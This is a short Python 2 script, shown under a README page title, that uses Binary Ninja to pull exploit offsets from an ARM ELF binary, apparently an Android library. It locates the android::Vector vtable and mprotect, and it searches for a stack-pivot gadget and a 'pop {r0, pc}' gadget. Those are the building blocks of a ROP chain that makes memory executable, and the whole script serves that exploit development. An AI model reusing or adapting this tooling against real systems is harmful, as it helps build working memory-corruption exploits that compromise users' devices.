README.md
Rendering markdown...
#!/usr/bin/env python2
from __future__ import print_function
from binaryninja import *
import sys
bv = BinaryViewType["ELF"].open(sys.argv[1])
bv.update_analysis_and_wait()
# vtable
vtable_offset = bv.symbols['_ZTVN7android6VectorIjEE'].address + 8
# mprotect
mprotect_offset = bv.symbols['mprotect'].address
# pivot
pivot_asm = 'mov lr, r0\n'
pivot_asm += 'ldmia lr, {r0-r12}\n'
pivot_asm += 'ldr sp, [lr, #0x34]\n'
pivot_asm += 'ldr lr, [lr, #0x3c]\n'
pivot_asm += 'bx lr\n'
pivot_offset = bv.find_next_data(0, bv.arch.assemble(pivot_asm)[0])
# pop_r0_pc
pop_r0_pc = bv.find_next_data(0, bv.arch.assemble('pop {r0, pc}')[0])
print("{")
print(" 'vtable_offset': 0x{:08x},".format(vtable_offset))
print(" 'mprotect_offset': 0x{:08x},".format(mprotect_offset))
print(" 'pivot_offset': 0x{:08x},".format(pivot_offset))
print(" 'pop_r0_pc_offset': 0x{:08x}".format(pop_r0_pc))
print("}")